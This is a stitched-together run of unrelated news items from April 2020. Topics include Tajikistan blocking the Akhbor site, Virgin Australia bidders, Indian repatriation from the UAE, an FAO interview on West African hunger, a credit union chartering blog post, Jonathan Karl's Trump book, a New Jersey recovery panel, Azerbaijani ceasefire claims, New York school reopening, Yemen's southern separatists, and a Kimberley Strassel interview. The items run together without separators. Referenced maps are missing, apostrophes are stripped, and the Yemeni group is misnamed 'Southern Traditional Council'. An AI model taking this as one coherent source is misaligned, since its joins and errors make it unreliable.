The websites Tajik page has been inaccessible in the country since 2017, and its Russian page has been blocked since 2019, according to Akhbor. The courts ruling formalizes those blocks into law and also imposes potential criminal charges on journalists who work with the outlet, according to those news reports and Salimpur. Tajikistans decision to block access to the Akhbor news website is not just blatant censorship, but an act that potentially puts peoples lives in danger amid the coronavirus pandemic, when independent media is more important than ever, said Gulnoza Said, CPJs Europe and Central Asia program coordinator. Tajik authorities should reinstate access to Akhbor and allow independent reporting in the country. According to a statement published by the state news agency Khovar, authorities accused Akhbor of publishing terrorist, extremist content and spreading deliberately false and inflammatory information. That statement said that the courts decision was made in response to a complaint filed by the prosecutor general in December 2019. Salimpur told CPJ that he believed the Supreme Court may have acted now due to Akhbors April 5 report on the countrys first alleged death from the coronavirus pandemic. Tajik authorities have denied that anyone has contracted COVID-19 in the country, according to reports. Akhbor has operated from Prague since 2016, and has correspondents in Tajikistan and other countries in the region, Salimpur said. CPJ filed a request for comment to the prosecutor general on the offices official website, but did not receive any reply. Singapore's $340 billion sovereign wealth fund Temasek has emerged as a possible wildcard in the race for control of Virgin Australia through its partnership with local suitor BGH Capital. At least 11 parties, including private equity firms and asset managers, are circling the airline after it went bust last Monday with debts of almost $7 billion. Virgin's administrators are hoping to lock down a new owner for the company in the next three months. Singapore's state-owned investment fund Temasek has had an indirect interest in Virgin since 2012 through its controlling (56 per cent) stake in Singapore Airlines, which owns 20 per cent of the Australian carrier. Temasek has had an interest in Virgin Australia through its majority-owned Singapore Airlines. Credit:Peter Rae Singapore Airlines has long been considered a potential buyer of Virgin but it and the carrier's other major shareholders were not willing to prop it up as the coronavirus shutdown bled it dry of cash. Abu Dhabi, April 28 : Indian missions in the United Arab Emirates (UAE) will soon start compiling the data of expats wishing to fly home amid the coronavirus pandemic, a news report said. The missions are currently awaiting more clarifications from New Delhi regarding the details that need to be collected and "some more issues" that need to be clarified, Indian Ambassador to the UAE Pavan Kapoor told Gulf News on Monday. He did not elaborate on the clarifications sought or the expected date of beginning the registration. "We hope to start soon," the Ambassador added. As reported by Gulf News, the missions on April 15 had denied seeking data of stranded Indians for repatriation citing no instruction from the Indian government in that direction. Consul General of India Vipul had said at the time that the missions did not wish to create unnecessary confusion among the members of the community though they were noting the details of anyone who was contacting them on email or phone about their need to go back to India. However, the new move comes close on the heels of the Indian Embassy in Qatar beginning the registration. "We are collecting data about people requesting repatriation to India... At this stage, the purpose is only to compile information. No decision or details yet on resumption of flights to India," the Indian mission in Doha tweeted on Sunday night. "As and when a decision is taken, the Embassy will make a clear announcement. Please note that the form has to be filled separately for each individual, even if they are members of a family," it added. COVID-19 could not have come at a worse time for vulnerable communities across West Africa April 28,2020 | Source: CNBC Africa In this interview, we speak with Coumba Sow, FAO Resilience Coordinator for West Africa, about the COVID-19 pandemic and what it could mean for millions of people already grappling with hunger and conflict in West Africa. West Africa and the Sahel region in particular have long been prone to droughts and food shortages, and over the past decade, rising insecurity. How is the situation now? This is a complex region hit by chronic hunger, insecurity, climate change, the threats of a Desert Locust outbreak, and now the pandemic. Year after year, five out of the ten countries at the bottom of the UN Development Index are in West Africa. Right now, we are particularly concerned about the humanitarian crisis in Central Sahel comprised of Burkina Faso, Mali and Niger. Some four million people here are already facing extreme hunger and this could rise to 5.5 million people by August. Just to put it in perspective by August, in Burkina Faso, over two million people could be facing extreme hunger, and at the worst time as the lean season sets in and food becomes scarcer. This number is three times higher than last year during the same period. Across West Africa, as of April, over 11 million people need immediate food assistance mostly due to conflict. And this number will continue rising, potentially reaching 17 million during the lean season (June- August) if we don't respond fast. Many people are not only hungry. They are also uprooted and have lost what they had. The ones I spoke to had the same story of villages attacked; of family members killed or displaced; of homes or fields destroyed; of animals abandoned or killed. As of now, some 1.2 million people have been displaced in Central Sahel. If the conflict persists, more people will suffer the same fate. According to the 2020 Global Food Crisis report, increasing violence, displacements and disrupted agriculture and trade in tandem with adverse climate in West Africa and Sahel countries will worsen acute food insecurity conditions in many areas this year. COVID-19 could not have come at a worse time for vulnerable communities across West Africa. Who is most at risk from COVID-19? First of all: children. Malnutrition rates in the Sahel are one of the highest in the world. Some 2.5 million children more than a quarter in Burkina Faso, Mali and Niger suffer from severe and acute malnutrition. As mothers and children are the hardest hit, in general, they will also suffer the most during the pandemic. Those who are already hungry, or already hungry and displaced, will be at extreme risk. The key issue to highlight is that the pandemic is expanding during crucial months for this region when people need to plant, move with their animals. Farmers need to be able to sell their current produces but also access fields and markets to prepare for the main 2020/2021 agricultural season. Pastoralists or nomadic herders need to move with their animals. Governments and humanitarian actors need to assist people requiring urgent food, nutritional and emergency support during the lean season. For centuries, nomadic herders across the Sahel have moved hundreds of miles every year to find pasture for their herds. This is something they do each year, especially during April-May as pastures become drier. Many Mauritanian herders, for example, head to Mali and Senegal in search of pasture. But, as borders close, nomadic herders are no longer able to move in search of fodder and water or to trade animals can be traded for other foods or essential items. This can lead to herders losing their income as they can't sell their animals or buy what they need for them as well as potentially losing animals as some of them might not survive or might fall ill. When animals suffer, people suffer. When animals die or stop being a source of milk or meat, people go hungry. When animals are lost, so are people's livelihoods. Farmers will also be affected by COVID-19 due to a lower supply of fertilizers and seeds, the closure of stores and markets, and reduced assistance. The pandemic if it spreads further will translate into increasing threats: from more displacements to less and less access to basic social services, higher food prices, less food. Are COVID-19's impacts on people's food security already being felt in West Africa? Governments have taken measures such as physical distancing and closure of markets. These will result in market disruptions, whether for traders or buyers. COVID-19's impacts are already seen in the pastoral areas. As most borders are closed, movements of herders and animals have been restricted. Although the pandemic's impact on primary products' prices are not yet discernible, the fact that many people are buying main commodities in bulk could lead to a temporary increase in costs and shortages, which will be difficult to manage as/if production drops. Transport is also already affected, which will impact on food and products' supply. How is FAO responding? As most of West Africa is already affected by other complex crises, our first priority is to safeguard and maintain our current emergency response, especially activities supporting the upcoming agricultural campaign, which will help mitigate the effects of COVID-19 on food security. Doing so will be particularly challenging given the operational difficulties due to the movement restrictions introduced by most countries. However, working closely with governments, the UN family, and partners, we are recalibrating and finding ways to deliver. Our response across the region is only funded at 20 percent, however. We urge donors and partners to ensure that the ongoing emergencies, on top of COVID-19, are not forgotten. In response to COVID-19, FAO has been collecting information and carrying out analysis, at regional and country level, on the pandemic's likely consequences on agriculture and food security, which will feed into a global data facility. This is informing the development of national and a regional strategies as well as country specific COVID-19 preparedness and response plans. Several actions in these plans are already being implemented. In Burkina Faso, FAO is launching a program, thanks to support from the Central Emergency Response Fund (CERF)of the UN Office for the Coordination of Humanitarian Affairs (OCHA), to provide immediate assistance to vulnerable households living in quarantine in urban and peri-urban areas so they can access healthy and nutritious food. In Senegal, FAO is supporting government's efforts to fight the pandemic though awareness raising campaigns, particularly for actors along the food chain, to avoid a further spread of the pandemic. We will support small producers affected by trade disruptions, mostly women, to sell their produce, gain sufficient money and prepare for planting. And we will distribute cash and vouchers to pastoralists so they can feed their animals, and to reduce food waste and loss. In the short-term, the priorities are: support vulnerable households affected by COVID-19 to access adequate food; ensure pastoralists have feed and water during the current dry season, and farmers have seeds to start planting; ensure social protection during the lean season; and maintain the markets and value chains functional so that people can buy the food they need, and at adequate prices. FAO experts are also monitoring the Desert Locust situation, as there is some possibility of the pest's incursion into West Africa towards mid-year. What should governments do? FAO encourages countries to keep abreast and adapt their response plans to the consequences of the pandemic as these become better known. What is crucial is to anticipate COVID-19's impacts on agriculture, food security and the lives of vulnerable women and children. Ensuring that food systems and food supply chains are maintained is one of the most important action to take at national and regional levels. On 16 April, all 55 member states of the African Union (AU) committed during a meeting by AU-FAO to supporting access to food and nutrition for Africa's most vulnerable; providing social safety nets; minimizing disruptions to the safe movement and transport of essential people, and to the transport and marketing of goods and services; and keeping borders open for the food and agriculture trade. This is a first, crucial step, and FAO is proud to have been part of this processes. What are the biggest challenges for FAO's work if the pandemic worsens? If the pandemic worsens, as many as 50 million more people could face a food crisis in the region. This is why we are scaling up our support through local partners and actors and finding innovative ways, such as online training and remote support, to increase their capacity. We learnt during the Ebola crisis that several activities can be carried out by integrating them into our regular work, whilst respecting additional measures such as health protocols. FAO has activated business continuity plans across all the region with aim of ensuring the safety of its staff, partners and beneficiaries while maintaining activities running. Anything else you would like to add? These are challenging times, but let's not forget that people in West Africa have proven to be resilient in the face of crises. In fact, FAO's and many other agencies' global approach to COVID-19 is informed by lessons learned from the West Africa Ebola crisis. We also learnt from Ebola that whilst COVID-19 is primarily a health crisis, we must do everything possible to not turn this into a food crisis, and for many communities in West Africa a larger food crisis. Africa Business News Pty. Ltd. 2020. All Rights Reserved Theme(s): Others. I am going to tell you a secret I recently discovered about credit union chartering that (almost) no one else knows. Federal SEG based credit unions can serve larger communities than practically any other charter, including virtually any state charter. The largest credit unions could serve multiple entire states under a federal multiple common bond or SEG based charter. To explain this secret, the secret of underserved rural districts, requires me to go into an overview of a lot of credit union chartering jargon, the United States demographics, and summarization of what happens when you apply math and computing power to the federal charter field of membership rules. It is a long read, but I believe you will find it worthwhile. Chartering & Field of Membership Credit unions benefit from a dual chartering system, because the NCUA and state regulators compete for credit unions to operate under their respective charters. Each regulator periodically modernizes its charter to make it more attractive. Federal credit unions may have a slight edge as they benefit from a broader tax exemption and federal preemption, which generally means they pay lower taxes, arent subject to some state regulations that conflict with federal regulations, have an easier time engaging in multi-state branching and FOMs, and only answer to one regulator. However, historically, the perception has been that state charters have benefited from having more liberal field of membership rules. However, that is about to change. The Key: Underserved Areas (Rural Districts) My favorite characteristic about this strategy is it rewards credit unions that serve the communities most in need of additional access to financial services underserved areas and underserved rural districts in particular. However, this strategy is only available to credit unions with a multiple common bond charter and likely most valuable to federal multiple common bond-chartered credit unions. While a Community Charter serves a single community that meets one of the above definitions of a community, a Federal Multiple Common Bond Charter can serve an infinite number of underserved communities as long as they have the ability and intent to serve them. Each community that a multiple common bond credit union adds to its field of membership must meet the NCUAs definition of a community as well as an underserved area. You can read a lot more about each of those definitions by following their respective links, but generally speaking that means that the area must meet the following criteria: Be economically distressed, meaning: The unemployment rate is at least 1.5 times the national average; or At least 20 percent (20%) of the population lives in poverty; or The Median Family Income (MFI) is at or below 80% of For units within a statistical area: either the MFI of the corresponding Metropolitan Statistical Area or of the national MFI for Metro Areas, whichever is greater; or For units outside of any statistical area: either the corresponding states Non-Metro MFI or the national MFI for Non-Metro Areas, whichever is greater; Be underserved by depository institutions, meaning: The concentration of depository institution facilities among the population of the proposed areas non-distressed tracts which sets a benchmark level of adequate serviceis greater than the concentration of facilities among the population of all of the proposed areas census tracts combined. If all of its units are within counties designated as underserved by the CFPB. AND either qualify as well-defined local community or a rural district: Local Well-Defined Community o Single Political Jurisdiction OR o Statistical Area, or a portion thereof, with a population of 2.5 million or less people. Rural District o The total population of the proposed district does not exceed 1,000,000. AND o Either more than 50% of the proposed districts population resides in census blocks or other geographic units that are designated as rural by either the Consumer Financial Protection Bureau or the United States Census Bureau, OR o The district has a population density of 100 persons or fewer per square mile; Identifying qualifying areas is very complicated so, up until now, underserved areas that credit unions have identified and added to their field of membership generally represent a portion of a community that a credit union could add as a community charter. Take Augusta, Georgia for example: That all changed when we started using computers to draw the maps for us. The Strategy, Math, and Computers We discovered the secret value of underserved areas, and underserved rural districts in particular, when we were working on a proposal for a prospective credit union. We had a prospective client that wanted to expand. However, they already served an entire CBSA and many of its immediately adjacent counties and had been told by multiple experts that they already had the largest possible community under a federal charter. Their market crossed two states, so going state-chartered wasnt an option. Also, their board, understandably, did not want to give up the majority of their existing community simply to be given the flexibility to go into a new market, where they would also only be able to serve a single small, underserved portion of the new market. Our goal was to give the credit union the flexibility a multiple common bond charter provides, without losing the credit union any part of their existing community. This is how we figured out that they could keep their entire existing market and have the freedom to expand further as a federal multiple common bond. After looking at a map of the target market for a while, we realized how it could be done. We could use multiple underserved rural districts, which collectively would cover the entire market and more. This strategy would allow the credit union not only to expand into surrounding areas but also the freedom to enter entirely new markets, merge with credit unions outside of their existing market, and even potentially buy banks. Under this strategy, the number of branches, or service facilities, your credit union has, and their location down to the census block group has a significant impact on your potential field of membership. For each service facility a credit union has, it can have a separate underserved area. The more branches a credit union has, the more variations and unique areas can be used to obtain the entirety of a target market. If you look at the map of the United States below, this strategy will work for almost the entire country except for New England and the Midwest, which present possibly insurmountable demographic hurdles (depending on what area you are trying to prioritize). Another problem we faced implementing this strategy we call the outer ring problem. This problem arises when an outer ring of units (census tracts or more likely now census block groups) present a bottleneck that prevents the use of enough underserved rural districts from being used to obtain a desired community. Take Phoenix, Arizona, for example. Inside the highlighted ring of census tracts, there are 2,456,176 residents who live in non-distressed areas. You would need 17 separate underserved rural districts to cover the entire market. However, you can see that there are only 12 different census tracts that make up the outer ring so there arent enough paths to leverage qualifying underserved rural districts from the surrounding areas to pick up the residents in the non distressed units in the community. There are two things you can do to solve this problem. First, define the area by the smallest possible permissible units: census block groups, which opens up a few more paths into the market. Second, use local well-defined underserved areas to reduce the number of residents that need to be picked up by surrounding underserved rural districts. This way, the 12 different entry points to the market ends up being enough to get the entire CBSA and ultimately allows a credit union to get the whole state of Arizona under a federal charter. Here is a map that provides a quick cheat sheet to the value that this strategy offers to credit unions in each state: Green- CUs can serve the whole state, Yellow- CUs can possibly serve the whole state, Red-CUs cannot serve the whole state. While not as groundbreaking, the federal multiple common bond charter and underserved areas still provide a lot of value and growth opportunities to credit unions in New England or the Midwest and should not be discounted. Conclusion Thank you for reading this much. It was a long read. I hope you found this interesting. Discovering this secret was a labor of love for me. I hope you find it valuable to your credit union or at least that it makes you reexamine things that you have been told are impossible, because when it comes to field of membership anything is possible as long as you have the ability and intent to do it (unless you are in New England or certain states in the Midwest Sorry!). Also, please remember that while this strategy unlocks dramatically larger communities under a federal multiple common bond charter, your credit union would still need to have the ability and intent to serve the areas you apply to serve. So dont waste your time or the NCUAs Office of Credit Union Resources and Expansion applying for a larger area than you actually plan or have the ability to serve. WASHINGTON Jonathan Karl writes in his new book that President Trump is waging an assault on truth, but also details the ways in which the celebrity star turned commander in chief strategically baits the press into personal grudge matches that undercut the credibility of the media. Too often in the Trump era, the press has looked like an opposition party, Karl said in an interview on The Long Game, a Yahoo News podcast. Karl is chief White House correspondent for ABC News, and first interviewed Donald Trump in 1994 as a reporter at the New York Post. Since then, Karl said, he has lost count of how many times he has interviewed Trump. Its probably a couple dozen times and might even be more, Karl said. Whats clear from the book Front Row at the Trump Show is that Karl and Trump know each other well, and have something of a working relationship, even though Trump called Karl a third-rate reporter earlier this month during a press briefing. He knows that even as he gets irritated by my questions or my reporting, he knows that I treat him with respect and I treat the institution of the presidency with respect. I think he appreciates that, Karl said. Karl uses his long track record with Trump as an effective backdrop to illustrate the way that Trump, as president, has conducted a Dr.-Jekyll-and-Mr.-Hyde routine with the news media since the early days of his presidential campaign. The 52-year-old journalist describes multiple occasions when the 73-year-old president has switched on a dime from friendly and magnanimous toward him in private to hostile and angry in front of a crowd, or vice versa. At a Florida rally in the fall of 2018, Trump praised Karl to others backstage after an interview and then minutes later encouraged a large crowd to jeer at Karl and others in the press pen. Jonathan Karl. (Photo illustration: Yahoo News; photos: Heidi Gutman/ABC via Getty Images, Alex Brandon/AP) In December 2015, Trump was enraged by Karls questions during an interview moments before he took the stage in Iowa. Once Trump was out of view of any TV cameras, he began to scream and curse at Karl backstage. Moments later onstage, he joked with the crowd about how Russian President Vladimir Putin has reporters killed. I would never kill [journalists]. But I do hate them, Trump told his supporters. And some of them are lying, disgusting people. Story continues And then, backstage again, Trump took more questions from Karl and persuaded him to pose for a photograph afterward together. The artifice of it all, Karl argues, demonstrates that it is part of Trumps intentional strategy. He wants to define the media as the opposition party, Karl writes in his book. He may be at war with the news media, but he is also in love with the news media. ... He sees the public jousting with the press as a critical component of the Trump shows success, Karl writes. Karl describes a conversation with former Trump adviser Steve Bannon, who told him that the media is a better opponent for Trump than the Democrats, because many voters who were key to getting Trump elected in 2016 white working-class people from union households in the Rust Belt still have some loyalties to Democrats. And Karl relates a comment Trump made to Lesley Stahl, a CBS journalist for 60 Minutes. Trump told her he attacks the media so when you write negative stories about me, no one will believe you. Karls book argues that the press plays into Trumps hands when reporters take his attacks on them personally. The attacks can be unnerving, writes Karl, who details several that Trump has made on him. Its tempting to respond or hit back. If you do, it becomes a story about the conflict between a reporter and the president in other words, exactly what he wants. Karl specifically criticizes CNN White House correspondent Jim Acosta, who is a pariah to Trump supporters, for personalizing Trumps attacks on the press and making himself part of the Trump show. Karl argues that this essentially benefits both Trump and Acosta. It gives Trump a villain to fight, and it makes Acosta famous. Acosta has declined to comment publicly about Karls criticisms, and did so once again when asked by Yahoo News to respond. A White House staff member reaches for the microphone held by CNN's Jim Acosta as he questions President Trump during a 2018 news conference. (Jonathan Ernst/Reuters) But in an interview, Karl said that its not really so much any individual. Its kind of the cumulative effect. If you turn on cable news at any point over the past three years, you can be guaranteed you're going to be seeing a story: Look at that, can you believe what he just did? Oh, my God, this is the worst thing, Karl said. Some of those things have been really awful and terrible and they needed to be talked about, but theres no sense of variation. Some of the stuffs been pretty trivial and its been crazy tweets. The effect of playing into Trumps hands, Karl said, is really dangerous. You have basically a third of the country, maybe more, that essentially wont believe anything that they see in a newspaper or in a television news report, he said. In his book, Karl writes that for all the spinning and stonewalling I have encountered in a career covering politics, the disregard for the truth I have witnessed at the Trump White House is qualitatively different. The president himself has waged a sustained campaign to make people think the truth is a lie whenever he doesnt like the truth or it makes him look bad, Karl writes. This isnt the dodging and weaving you expect to see from politicians, including presidents. This is an assault on truth itself. _____ Click here for the latest coronavirus news and updates. According to experts, people over 60 and those who are immunocompromised continue to be the most at risk. If you have questions, please refer to the CDCs and WHOs resource guides. Read more: A former Princeton University president and the CEO of pharmaceutical giant Merck will lead a new commission to map out New Jerseys eventual comeback from the coronavirus pandemic thats ground much of the states activity to a halt. The commission appointed by Gov. Phil Murphy includes leaders in business, education, government, labor and economics, including former Fed chairman Ben Bernanke. Murphy on Monday unveiled a broad coronavirus recovery plan for the state that calls for widespread testing and contact tracing following at least two weeks of declines in case and hospitalizations. Only then, he said, can he begin to lift the orders that brought the state to the brink of shutdown in order to slow the spread of the coronavirus. Murphy has not said when the state will begin this resurgence, warning that the current orders remain until further notice. Part of the governors plan included a panel of experts to design New Jerseys economic restart. With this task force we are bringing together some of the sharpest minds our state and nation have to offer, Murphy said in a statement. As I have said from the start, public health creates economic health and these individuals will help us decide when and how to restart the economy to best benefit both. CORONAVIRUS RESOURCES: Live map tracker | Businesses that are open | Homepage The committee includes: Shirley M. Tilghman, professor of molecular biology and public policy and president emeritus of Princeton University, co-chair Kenneth Frazier, chairman and chief executive officer of Merck & Co., Inc., co-chair Ben Bernanke, distinguished fellow in residence at the Brookings Institution and former chairman of the Federal Reserve Dr. Richard Besser, president and CEO of the Robert Wood Johnson Foundation and former acting director for the Centers for Disease Control and Prevention Evelyn McGee Colbert, president of the Board of Montclair Film and vice president of Spartina Productions Tony Coscia , chairman of the Board of Directors of the National Railroad Passenger Corporation (Amtrak), partner at Windels Marx Lane & Mittendorf, LLP law firm and chairman of Suez North America Inc. Jessica Gonzalez, founder and CEP of InCharged, VendX, and Lux-UVC Jonathan Holloway, incoming president of Rutgers University and former Provost of Northwestern University Lisa P. Jackson , vice president of environment, policy and social Initiatives at Apple Inc., former administrator of the U.S. Environmental Protection Agency, and former commissioner of the New Jersey Department of Environmental Protection Jeh Johnson, former U.S. secretary of homeland security and partner at the law firm Paul, Weiss, Rifkind, Wharton & Garrison, LLP Charles Lowrey , CEO of Prudential Financial, Inc. Denise Morrison , of Denise Morrison & Associates, LLC and former CEO of The Campbell Soup Company. William Rodgers, professor of public policy and chief economist at the Heldrich Center for Workforce Development at Rutgers University. Former chief economist at the U.S. Department of Labor. Neera Tanden, CEO of the Center for American Progress and the CEO of the Center for American Progress Action Fund The Rev. Regena Thomas, director of the Human Rights and Community Relations Department of the American Federation of Teachers and a former New Jersey secretary of state Richard Trumka, president of the AFL-CIO Sheila Oliver, New Jersey lieutenant governor George Helmy, Murphys chief of staff Judith Persichilli, New Jersey Department of Health Commissioner Matt Platkin, Murphys chief counsel Kathleen Frangione, Murphys chief policy officer Our journalism needs your support. Please subscribe today to NJ.com. Samantha Marcus may be reached at smarcus@njadvancemedia.com. By Trend Over the past 24 hours, Armenian armed forces have violated the ceasefire along the line of contact between Azerbaijani and Armenian troops 23 times, Trend reports referring to Azerbaijani Defense Ministry on April 28. The Armenian armed forces were using large-caliber machine guns. The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding regions. The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on the withdrawal of its armed forces from Nagorno Karabakh and the surrounding regions. -- Follow us on Twitter @AzerNewsAz School superintendents are working together on a plan for reopening schools, though they dont know if it will happen. At this point, it appears that schools could open no earlier than June 1. Thats because Gov. Andrew Cuomo said he plans to start by reopening construction and manufacturing on May 15, and wait two weeks to make sure there isnt a spike in new infections. On Tuesday, he also said he would announce a decision on schools by the end of the week. With no Regents exams, and teachers having worked through spring break, it seems as though schools could only open for a couple of weeks at best, said James Dexter, district superintendent of the Washington-Saratoga-Warren-Hamilton-Essex BOCES. A lot of us owe some days to our teachers. Wed likely have to end school earlier, he said. Still, whatever schools plan may be used by summer day camps as well, which take care of thousands of local children while their parents work. Some schools also want to offer summer school. All of this means they cant wait until August to start planning. BOCES has started a subcommittee of superintendents to find solutions. Teachers are also eager to get the kids back to school, even if its for a short time. A lot of our kids are going to come back with academic needs, Dexter said. One of the areas we have to think about is how do we identify deficits. In addition, children who were getting special services need that help restored as soon as possible. There are lots of kids who need PT, OT, he said, referring to physical and occupational therapy. Theyre trying their best to do some of it, and some parents can help out with certain things, but its not the same. And then, of course, theres the new problem: public health. Teachers may have to ensure that students keep their masks on and stay separated. Dexter isnt sure its reasonable to expect young students to keep their masks on all day. We have to think about this developmentally, he said. Thats going to be a big transition. Superintendents are only starting their plans now, but a big part of the mask-wearing, social distancing and hand-washing compliance may come down to parental support. They are developing a communication plan to parents, to get them on board with those rules. Were going to have to have partnerships with parents. This isnt a school discipline issue. This is a public health issue to protect everyone, including their own children, Dexter said. They also have to figure out how to disinfect all the school buildings every day, which is much more than cleaners do now and will be more difficult with reduced state funding, Dexter said. You look at the amount of square feet in schools its humongous. We dont have that many cleaners, he said. Other countries have found other solutions. In Japan, students have always cleaned their own classrooms. But Dexter said he shuddered at the reaction from parents if he told them their children would be cleaning. In Denmark, elementary school children are already back in school, but in classes of 10, with the upper grades classrooms being used as well so that every student could spread out. Its not clear how that will work in the long run, since there isnt enough room in most classrooms to seat each student 6 feet apart, but the older students will need their classrooms back at some point. Dexter was surprised by the Danish plan. Hey, thats creative. People say we have to think outside the box, he said. But there are practical considerations. Some people have speculated that school times should be staggered, with half the class attending on Mondays, Wednesdays and Fridays while the other half attends on Tuesday and Thursdays, and then the opposite schedule in the next week. But Dexter said that was impractical, too. Altering times it gets very complex, he said. It sounds great but if I have three kids and Im working and Im depending on my ninth grader to watch my fifth grader, I dont know how that will work for some families. Still, the superintendents are looking at everything. We might have to do some of those things, Dexter said. Could we do online instruction for certain kids on some days and not on others? For older students, schools can stagger class times to avoid crowds in the halls as students change classrooms. Thats a more likely solution, Dexter said. School officials are also working on how to social distance on buses and how to serve meals safely. They dont have all the answers yet. But they have a month, at least. Well come up with solutions, Dexter said. We have to. You can reach Kathleen Moore at 742-3247 or kmoore@poststar.com. Follow her on Twitter @ByKathleenMoore or at her blog on www.poststar.com. Love 8 Funny 3 Wow 7 Sad 1 Angry 21 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Saudi Arabia has rejected a declaration of self-rule in south Yemen, a day after the Southern Traditional Council (STC) said it would break away from the rest of the country. The announcements have complicated the tense situation, with Saudi Arabia leading a coalition against Iran-backed Houthi rebels in the north of the country, including Sanaa, the capital. We in [Saudi Arabia] and UAE strongly believe that the internationally-backed Riyadh agreement has guaranteed an opportunity for the brotherly Yemeni people to live in peace, said Adel al-Jubeir, Saudi state minister for foreign affairs on social media. We reject any hostilities that will jeopardise the safety and stability of Yemen, he added. Although separatists have called for the south of the country to be independent as it once was, Saudi Arabia was able to calm the situation by putting together a power-sharing deal last November. The Riyadh Agreement provides for the participation of the STC in consultations on the final political solution to the end of the conflict in Yemen and serving the interests of Yemenis nationwide, said UN Special Envoy for Yemen Martin Griffiths in a statement. But this new declaration of independence has the possibility to foment a war within a war in what the UN calls the world's worst humanitarian disaster. Deadly flooding In addition to the political and humanitarian crisis, the port city of Aden, now the STC's "capital" of their self-declared country, was hit by flash floods this month, killing 21 and leaving thousands homeless. The UN says that more than 100,000 people have been affected across the country by the floods caused by torrential rains, damaging infrastructure and contaminating the water supply. Countless families have lost everything, said UN Humanitarian Coordinator for Yemen Lise Grande, which comes on top of the pre-famine last year, which came on top of the worst cholera outbreak in modern history. Covid-19 Yemen recorded its first Covid-19 case earlier this month, which could be yet another destabilising factor in the country. The latest turn of events is disappointing, especially as the city of Aden and other areas in the south have yet to recover from flooding and are facing the risk of Covid-19, said Griffiths. Kimberley Strassel, author of "Resistance (At All Costs): How Trump Haters Are Breaking America," in New York City on Oct. 18, 2019. (Brendon Fallon/The Epoch Times) Government Relief or Government Excess? Kimberley Strassel Weighs In I understand in a crisis that people sometimes have to move quickly, but at the same time, we have just shoveled cash out of the Beltway with no quality control of any of these programs, with no thought for how theyre actually working, argues Kimberley Strassel, a Wall Street Journal columnist and editorial board member. Since early March, the federal government has passed four major relief packages, which brings the grand total close to $3 trillion to combat the CCP (Chinese Communist Party) virus, also known as the novel coronavirus. I dont think that theres any question that some of the money that Congress has washed out the door over the past six weeks was necessary and important, especially because this was a government-imposed shutdown. Government had an obligation to do something for those that suddenly are out of work, Strassel said in an interview with The Epoch Times American Thought Leaders program. But at the same time, the 2020 budget deficit is now approaching $4 trillion, according to the Congressional Budget Office. Thats quadruple the pre-virus estimate, Strassel said. The Paycheck Protection Program (PPP) has been a lifeline for small businesses struggling to pay employees, but criticism has also mounted because large companies, including publicly traded companies with market valuations over $250 million, have drained a lot of the funds. Following backlash, burger chain Shake Shack said it would repay its $10 million loan and Harvard University said it wouldnt take the money it was set to receive. The PPP ran out on April 16, and President Donald Trump signed a bill to replenish it on April 24. The $2.2 trillion CARES Act, which was signed into law on March 27, included stimulus checks for most Americans. It had a number of seemingly extraneous expenses tacked on. As Strassel noted in her March 26 Potomac Watch column, it gave NASA $60 million, the National Archives $8 million, the National Foundation on the Arts and the Humanities $75 million, and the Kennedy Center $25 million. The CARES Act also included turbo-charged unemployment benefits, Strassel said, which add $600 a week to standard unemployment benefits. This means people could be paid more than $20 an hour to stay at home, with some receiving as much as $24 an hour. Anyone who works in any industry that earns less than that has no financial incentive whatsoever to go back to work, Strassel said. On the heels of the just-passed $484 billion deal, there are now talks of a $500 billion bailout for states in the next relief package. Illinois has requested $41 billion from the federal government, including $10 billion in pension relief. But states like Illinois that are now facing major problems with their pensions funds have badly mismanaged these funds for decades, Strassel said. At the end of 2019, Illinoiss unfunded pension liability stood at $137 billion. Its pension debt is the worst in the nation, according to Moodys Investors Service. We need to be very careful about rewarding that behavior, very careful about also giving governors a further excuse to not reopen their economies, Strassel said. If theres a program like PPP that we know is working, helping, and it runs out of funds? Sure, put some more money in it. But before Congress spends another $2 trillion on something that its not sure is really going to help or work, it has an obligation to sit down, evaluate what it has done already, fix those things that need fixing, and do an analysis of what is actually providing real benefit, versus what is just government expanding for the sake of government expanding, Strassel said. Ever-Shifting Goalposts of Success On April 16, the White House released a three-phase outline for states to reopen their economies, and some governors have begun the process of easing restrictions. What youre seeing is the media and many on the left moving the goalposts about what counts as a successful reopening. And to listen to these people you would think that the only thing that counts as successful reopening is not a single more case of coronavirus or a single more death, Strassel said. But that was never the goal of lockdowns and shutdowns. Instead, the aim had always been to flatten the curve, to make sure that our health care system wasnt overwhelmed the way Italys was overwhelmed, so that we didnt have to engage in triage, so that we had enough hospital beds. By all accounts, we have successfully managed to do that, even in some of our hotspots, Strassel said. New York, the epicenter of the virus in America, is now seeing the lowest daily number of fatalities since the end of March. The Navys medical ship USNS Comfort, which had been deployed to New York, is now returning to its home port. But continued cases of the virus are inevitable, Strassel said. As some officials have been pointing out, even if everybody stayed in their houses for the next six months, this thing would still remain in circulation out there. Were going to have to open up at some point. And now comes the test of how well we manage that. A Post-Mortem When we go back and we have a post-mortem of what we did in this pandemic, were going to find out that we did lots and lots of things wrong, Strassel said. Its the nature of government to make mistakes on the first try, and no ones ever dealt with anything like this before, she said. So has Donald Trump made some mistakes? Probably. Have governors made mistakes? You bet. But what we should really be asking, in Strassels view, is whether our leaders managed to solve the problems they faced on a day-to-day basis. Did we get the ventilators moved to where we needed them? Did we get the tents set up if we needed overflow hospital space? Did we figure out a way to get personal protective equipment back up and running and out there? Strassel said. Yeah, we did. The one thing that we do know for a fact already, if we were beginning to do a post-mortem, is that China misled the world on this and that they got a valuable assist, unfortunately, from the World Health Organization. The first COVID-19 patient in Wuhan, Hubei Province, China, appeared as early as Nov. 7, according to leaked documents cited by the South China Morning Post. Doctors in China who attempted to notify the public about the virus were silenced, and on Jan. 14, Chinese authorities and the World Health Organization continued saying there was no clear evidence of human-to-human transmission. Theres going to have to be some sort of global reckoning with China and its behavior at the end of this, Strassel said. While the governments of the world were doing their best to cope, we have to remember that this was foisted on them by a bad actor, Strassel said. American Thought Leaders is an Epoch Times show available on Facebook, YouTube, and the Epoch Times website. One of the key goals is to assess what has been done since the last time the meeting was held The video conference between the Foreign Ministers of Ukraine, Germany, France, and Russia (Normandy format) would take place on Thursday, April 30. Ukraines Foreign Minister Dmitry Kuleba stated about it, as Interfax-Ukraine 